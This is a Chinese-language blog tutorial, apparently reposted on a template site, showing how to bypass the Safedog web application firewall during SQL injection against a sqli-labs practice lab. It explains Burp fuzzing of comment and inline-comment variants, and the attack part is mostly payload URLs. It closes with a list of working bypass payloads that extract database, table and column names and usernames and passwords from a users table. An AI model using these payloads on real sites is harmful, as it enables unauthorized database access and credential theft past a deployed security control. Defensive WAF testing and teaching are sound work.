【WAF剖析】——SQL注入之安全狗bypass深度剖析

这篇具有很好参考价值的文章主要介绍了【WAF剖析】——SQL注入之安全狗bypass深度剖析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:
舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:保持心脏震荡,等有人与我共鸣

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下

目录

一:环境配置

1.sqli-labs的sql注入靶场环境

2.安全狗waf软件

3.检测WAF是否起作用

 二:思路讲解 

1.语句被拦截的处理办法

 2.Fuzz绕过利用

三:绕过实战 

1.验证存在注入 

2.order by 绕过

3. union语句绕过

4.敏感信息绕过

三.bypass安全狗姿势汇总


一:环境配置

1.sqli-labs的sql注入靶场环境

这个我相信屏幕前的渗透大牛们应该都有吧(没有的可以私我拿),这里就不多介绍了,主要是拿实战环境过不了审,所以只能用靶场,大家理解一下,思路都是一样

2.安全狗waf软件

 这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)

链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg 
提取码:emlg

下载之后跟着提示安全即可

注意:1.安装成功之后记得开启安全狗的网站保护

           2.记得关闭安全狗的cc攻击防护,因为待会需要批量fuzz,可能被封ip 

3.检测WAF是否起作用

 这里以sqli-labs靶场的第一关做演示,如下

传入id=1后,加单引号,正常报错,说明可能存在注入

http://192.168.0.108/sql/less-1/?id=1' 

【WAF剖析】——SQL注入之安全狗bypass深度剖析 再加入%23,回显正常,说明为字符型注入

安装注入逻辑,输入and 1=1逻辑判断语句,出现安全狗拦截页面,说明安全狗布置成功,如下 

http://192.168.0.108/sql/less-1/?id=1' and 1 = 1 %23

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 二:思路讲解 

 如上,我们的and 1=1逻辑判断语句被拦截了,那现在的思路是什么?你认为现在应该做什么才能绕过过滤?这就是我首先要讲的,被拦截之后应该怎么处理

1.语句被拦截的处理办法

这是最应该先做也是最简单的部分,因为WAF大都是通过黑名单的方式进行拦截,所以如果出现了被拦截的情况,大概率是因为你的语句的某个函数或其他位置触发了黑名单的验证机制,导致被拦截,那应该怎么检测呢?其实一个一个试就行了

例如我这里的and 1=1被拦截,就可以依次输入
and 
and(空格) 
and 1
and 1=
and 1=1

通过这种方式看看哪个语句被拦截,从而判断是哪个部分触发的拦截,再做对应的绕过或者替换就可以了

演示: 比如这里我输入and,正常and+空格,正常,输入and 1出现拦截页面,如下

http://192.168.0.108/sql/less-1/?id=1' and 1 %23

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 说明“and 1”这个部分触发了拦截,此时的绕过方式可以选择替换或者绕过,这里我们先试试对中间的空格进行替换

大家都知道语句的很多部分都有对应的替换方式,而且还不止一种,特别是空格的替换方式尤其多,我们不可能全部都能记住,所以这里就要给大家讲一个新的知识点——FUZZ绕过

 2.Fuzz绕过利用

Fuzz测试,也称为模糊匹配,意思就是在不知道攻击poc的情况下,我们通过编写脚本或者利用一些自动化工具来进行匹配目标的脚本,尝试获取poc,其实就是基于字典的爆破,在字典中构造语句来进行批量的测试

 演示:

比如这里我们想替换and和1之间的空格来绕过检测,就可以将空格的替换方式整理到字典中,在使用burp来批量跑进行测试,尝试获取payload,对于各种位置的替换方式不明白的也可以看一下我的博客,点此进入

举个简单的例子,来看看下面这个语句

http://192.168.0.108/sql/less-1/?id=1' and 1=1 %23

如果我们想要替换空格,最常见的就是/**/,如下

http://192.168.0.108/sql/less-1/?id=1'/**/and 1=1 %23

但却不一定好用,大概率被过滤,其实/**/中间是可以加特殊符号的,但加什么,其实需要慢慢试,这时候就可以用到fuzz了,直接选中/*和*/中间的数据,将其作为变量进行爆破,如下

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 这里payload的类型选择burpsuite自带的Brute force,用特殊符号组成1-4位字典进行爆破,如下

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 再设置线程,开启爆破即可,结果如下 

【WAF剖析】——SQL注入之安全狗bypass深度剖析

根据结果可以看到/!/!可以成功,配合包着的注释符就是/*/!/!*/可以替换空格,这就完成了一次绕过waf和制造payload,这也是sql注入bypass中最常用的技巧,下面就让我们一起来看看安全狗的WAF

三:绕过实战 

1.验证存在注入 

刚才我们通过对空格的替换方式的fuzz已经可以让如下语句正常执行了

http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=1 %23

我们再尝试一下,1=2的逻辑判断语句,再次验证是否成功绕过

http://192.168.0.108/sql/less-1/?id=1'/*%2f!%2f!*/and 1=2 %23

此时页面出现报错,并没有正常显示,如下

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 现在已经成功验证除了注入,此时我们该做什么呢?一般都是通过order by语句来获取字段数量,下面让我们来试试

2.order by 绕过

我们直接把后面的逻辑判断语句尝试修改为order by,不出意外,被拦截,如下

http://192.168.0.108/sql/less-1/?id=1'order by 2 %23

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 老方法,判断报错位置,经过测试是因为order by这个语句被识别导致拦截,所以直接还是用fuzz替换空格,成功绕过,结果如下

http://192.168.0.108/sql/less-1/?id=1' order/*%26!%26!*/by 3 %2

【WAF剖析】——SQL注入之安全狗bypass深度剖析

只有字段数量为3时正常显示,其他都报错,说明此处的字段数为3,我们继续深入 

3. union语句绕过

 下一步就该我们的union语句了,再次尝试,果不其然又被拦截,如下,问题不大,我们继续尝试

http://192.168.0.108/sql/less-1/?id=1' union select 1,2,3 %23

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 这里我们继续尝试替换select和union之间的空格,如下

http://192.168.0.108/sql/less-1/?id=1' union/*%2f!%2f*/select 1,2,3 %23

结果发现不管用了

【WAF剖析】——SQL注入之安全狗bypass深度剖析咦,怎么不管用了呢?这说明什么?这说明他并不是通过“union select”这个字符串来判断的,我们单独输入union试试,果不其然,直接被拦截

当单独的函数被拦截时,我们有两个选择,

一个就是替换union函数为其它函数,换一个能实现同样功能的函数

另一个就是给union加上过滤标志,让他能够绕过WAF的检测

 这里我们选择给union加上过滤标志,这也是首选的,这里的过滤方式我们选择内敛注释绕过,内俩注释的格式如下

/*!特殊字符+函数名*!/

这也是比较好用的方式,但这里的特殊字符比较玄学,所以也需要通过fuzz来找出能绕过的版本号,先在版本号位置随便写个值作为变量,开启burpsuite,选中变量开启爆破,如下 

http://192.168.0.108/sql/less-1/?id=1' /*!4000union*//*%2f!%2f*/select 1,2,3 %23

【WAF剖析】——SQL注入之安全狗bypass深度剖析爆破设置与空格的爆破设置相同,这里就不多讲了,结果如下

【WAF剖析】——SQL注入之安全狗bypass深度剖析 fuzz成功跑出payload,而且还很多,随便选一个用,如下

http://192.168.0.108/sql/less-1/?id=1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23

【WAF剖析】——SQL注入之安全狗bypass深度剖析

可以看到确实没有被拦截了,再将前面的1改成-1,使后面的union语句能够正常执行,如下

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select 1,2,3 %23

 【WAF剖析】——SQL注入之安全狗bypass深度剖析

 这样union语句也可以使用了,我们趁热打铁,继续继续

4.敏感信息绕过

刚才的union语句已经成功绕过,这时候我们就可以尝试用union语句获取数据,先获取当前数据库名,如下

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database(),2,3 %23

不出所料,直接拦死

【WAF剖析】——SQL注入之安全狗bypass深度剖析

 这就很明显,database()函数被WAF识别并拦截了,那此时我们可以怎么绕过呢,当然,上面用的内联注释也是可行的,但这里我还给大家介绍一种绕过方式,那就是在database和()中间加注释,也能被解析,举个例子

原:database()
修:database/*xxx*/()

这时候同样,将里面的xxx作为变量,继续fuzz,设置和刚才一样,结果如下

【WAF剖析】——SQL注入之安全狗bypass深度剖析

又跑出来了一堆绕过姿势,6

此时语句为

http://192.168.0.108/sql/less-1/?id=-1' /*!%2f%2f--%2funion*//*%2f!%2f*/select database/*%26!%26%26*/(),2,3 %23

好了,具体操作也就到这里了,再写的话就太多了,后面的获取表名,字段名,数据都会遇到安全狗的拦截,但是用上面的三种方法均可绕过,有兴趣的可以试试,下面也为你们准备了bypass安全狗的全部姿势 

四.bypass安全狗姿势汇总

查询当前数据库名称

-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database/*/%0a*a*/()%23

查询所有数据库名称

-1' union/*//--/*//*!--+/*%0aselect/*//--/*//*!--+/*%0a1,2,(select/*//--/*//*!--+/*%0agroup_concat(schema_name) from/*//--/*//*!--+/*%0a information_schema./*!schemata*/)%23

 查指定数据库的所有表

-1%27%20union/*/%0a*a*//*!88888www.safedog.dog*/%20select%201,2,(select%20group_concat(table_name)%20/*!%20--+/*123%0a%0afrom%20information_schema./*!tables*/ where table_schema='security')%23

指定表的所有字段

-1' union /*/%0a*a*//*!88888www.safedog.dog*/select /*/%0a*a*//*!88888www.safedog.dog*/1,2,group_concat(column_name)    from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+

指定表的指定字段数据文章来源地址https://www.toymoban.com/news/detail-436028.html

-1' union /*/%0a*a*//*!88888www.safedog.dog*/ select 1,2, group_concat(concat_ws(0x7e,username, password))    from   security.users --+

到了这里,关于【WAF剖析】——SQL注入之安全狗bypass深度剖析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SQL注入三连实战绕过WTS-WAF

    一键三连,sql注入 一次无意之间发现的sql注入,主要是因为有一个WTS-WAF,在此记录一下 只是友好测试,并非有意为之。。。。 判断字段数 测试到order by 15的时候出现了报错,那么就可以说明字段数为14 直接注入 联合注入直接上 很多都可以,我这里直接用第二个位置 这里以

    2024年02月07日
    浏览(41)
  • WEB漏洞-SQL注入-利用SQLMAP工具绕过WAF

    访问使用阿里云搭建的网站(存在自带的阿里云盾)。 可以看到此时网站可以正常访问,可以进行正常注入。 使用工具进行注入。 可以看到在使用工具注入没多久后便返回了不存在注入点的信息。 因为经常会用到SQLMAP这款工具对注入点进行检测,在遇到WAF时,如果还想继续

    2024年02月12日
    浏览(45)
  • Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

    2.15.0之前版漏洞相关文章 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法) Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理 2.15.

    2024年02月07日
    浏览(78)
  • 【网络安全】SQL注入--堆叠注入

    堆叠注入就是可以同时执行多条语句,危害较大,利用此漏洞可以进行删库或者修改数据库信息 查询存在多少字段 使用联合查询获取表名 使用联合查询获取字段名称 使用堆叠注入添加账号密码

    2023年04月09日
    浏览(50)
  • 【网络安全】SQL注入--宽字节注入

    宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不 对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字 符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提

    2023年04月13日
    浏览(61)
  • 安全测试-SQL注入

    SQL注入是针对一种数据库而言的,而不是针对网页语言。在任何使用了数据库查询环境下都可能存在。常见的数据库包括:MySQL、Oracle、Db2等。针对不同的数据库系统使用的一些函数会有所不同,不过从测试是否存在SQL注入的角度考虑,只需要进行几个最基本的判断语句就可

    2024年02月08日
    浏览(38)
  • 安全狗SQL注入绕过

    本文用sqli-labs第一关为例 一、简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 寻找被安全狗匹配的特征字符,这里没被拦截 原来是当and 与 xx=xx 同时出现的时候会被安全狗识别 1.1 简单注入绕过方式 这里可以使用mysql的内联注释来进行绕过 内联注

    2024年02月08日
    浏览(46)
  • SQL注入绕过安全狗

    如果程序中设置了过滤,但是程序只是对 and ,AND 或者 or,OR 设置了过滤,那么你就可以使用大小写过滤 例如 :and,or 当然不局限于 and,其它的例如 union 一些如果只是设置了过滤,没有进行深度过滤的话,都是可以使用大小写过滤的 union 设置了过滤

    2024年02月15日
    浏览(51)
  • 网络安全---SQL注入攻击

            SQL 注入是一种代码注入技术,可利用 Web 应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在 Web 应用程序中正确检查时,该漏洞就存在。         许多 Web 应用程序从用户处获取输入,然后使用这些输入构建 SQL 查询

    2024年04月12日
    浏览(50)
  • 【WEB安全】SQL注入挖掘

    2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感

    2024年02月13日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包